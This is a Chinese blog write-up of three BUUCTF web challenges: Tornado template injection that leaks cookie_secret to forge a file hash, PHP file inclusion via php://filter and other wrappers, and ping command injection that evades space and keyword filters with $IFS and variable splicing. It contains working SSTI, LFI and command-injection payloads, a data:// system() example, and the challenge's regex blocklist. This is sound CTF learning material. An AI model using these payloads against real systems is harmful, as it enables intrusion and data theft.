buuctf
前言
经过几周的联系,感觉自己可以接触buuctf上面的题了,就去尝试了一下,结果可真的是让我涨了好多见识啊!
卑微.jpg
easy_tornado
刚打开题目环境,发现了三个文件
依次打开发现
接着发现url框里的get内容http://db2df9d1-b1b7-4b96-aa02-7585d17c0921.node3.buuoj.cn/file?filename=/hints.txt&filehash=0dd45678a8a1205a0110d2450a842825
然后这里就有了一点点头绪。就是flag在/fllllllllllllag
这个目录下,然后还要进行md5
加密,所以构造payload为:
http://db2df9d1-b1b7-4b96-aa02-7585d17c0921.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=加密后的内容
然后现在问题就是cookie_secret
这个是什么。由于第一次遇见,所以就来请问师傅百度了。(顺便百度了一下render
函数是什么)发现:
render
是python
的一个模板,他们的url都是由filename
和filehash
组成,filehash
即为他们filename
的md5值。
又加上题目提示tornado
,所以就搜索到了cookie_secret存放在handler.settings中。
然后还意外地看到了大佬们的wp,说是ssti模板注入。然后验证是否为模板注入。
第一次构造payloadfile?filename=/fllllllllllllag
提示error。并且url框出现
然后尝试http://db2df9d1-b1b7-4b96-aa02-7585d17c0921.node3.buuoj.cn/error?msg={{1}}
发现页面出现
接着尝试http://db2df9d1-b1b7-4b96-aa02-7585d17c0921.node3.buuoj.cn/error?msg={{1*8}}
页面提示
说明存在模板注入。
接着就构造payload获得cookie_secret的值http://db2df9d1-b1b7-4b96-aa02-7585d17c0921.node3.buuoj.cn/error?msg={{handler.settings}}
得到
然后进行最后的md5加密用了PHP代码
<?php
$cookie_secret='b2b852cd-7505-4918-82d8-8ceab6e24cc9';
$filename='/fllllllllllllag';
$eco=md5($cookie_secret.md5($filename));
echo $eco;
?>
得到了最终的filehash值
所以构造最终payload:http://db2df9d1-b1b7-4b96-aa02-7585d17c0921.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=16e766d7895b3c30ee8f3bafaa43d271
得到flag
include
打开题目
点开之后提示
然后就开始find flag
。刚开始没看题目,就一股脑做了,用了各种方法,抓包,f12,注入等等,发现始终只有一个样式。
然后就知道了看题目的重要性。发现了题目名称是include。于是想到了文件包含和php伪协议。
所以就构造payload?file=php://filter/read=convert.base64-encode/resource=flag.php
得到base64编码后的字符
然后base64解码得到flag
补充
php伪协议
常见的文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file
file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://
file://协议
file://
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
使用方法:
file://文件绝对路径和文件名
php://协议
php:// 访问各个输入/输出流(I/O
streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
php://filter协议
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
使用方法
?file=php://filter/read=convert.base64-encode/resource=
php://input协议
这个是平时做题用的比较多的。一般用来传一句话木马。不过注意是在POST方式传代码。
zip://协议
使用方法:
zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
compress.bzip2://
使用方法:
compress.bzip2://file.bz2
compress.zlib://
使用方法:
compress.zlib://file.gz
data://
data协议也是平时做题经常遇见的。
常用形式:?file=data://text/plain;base-64,<?php system('ls');?>
PING PING PING
打开题目,发现了
题目提示ping
,然后页面有一个?ip=
,所以应该是在搜索框里用get方式进行ping。
所以尝试:?ip=127.0.0.1
ping通了,说明思路没错,然后就查看了一下当前目录下的文件?ip=127.0.0.1|ls
发现有一个flag.php
的文件,说明最后答案就在里面。然后就?ip=127.0.0.1|cat index.php
(因为出现了两个文件,防止有什么绕过在这个文件里,就先查看了一下)
发现
说明在命令行里有什么被过滤了,接着就猜测应该是存在了空格过滤,就尝试了一下
发现的确是空格过滤,于是就百度了一下常见的空格过滤绕过方式
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS
发现是这几个。然后在这个题目里一个一个试,发现是$IFS$
,所以尝试?ip=127.0.0.1|cat$IFS$1index.php
/?ip=
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){//过滤了bash
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){//过滤了flag的正则匹配
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
元字符.:表示匹配除了换行符\n以外的任意字符
元字符*:表示多次匹配*前面的内容
.*连在一下,表示匹配任意次的不包含换行符的字符
然后利用黑名单拼接,
构造最终payload: ?ip=127.0.0.1;a=ag;cat$IFS$1fl$a.php
发现正常
然后F12,在控制窗口找到flag
flag=flag{ad04b7ca-ebe6-43dd-a5e2-f8aac85c784c}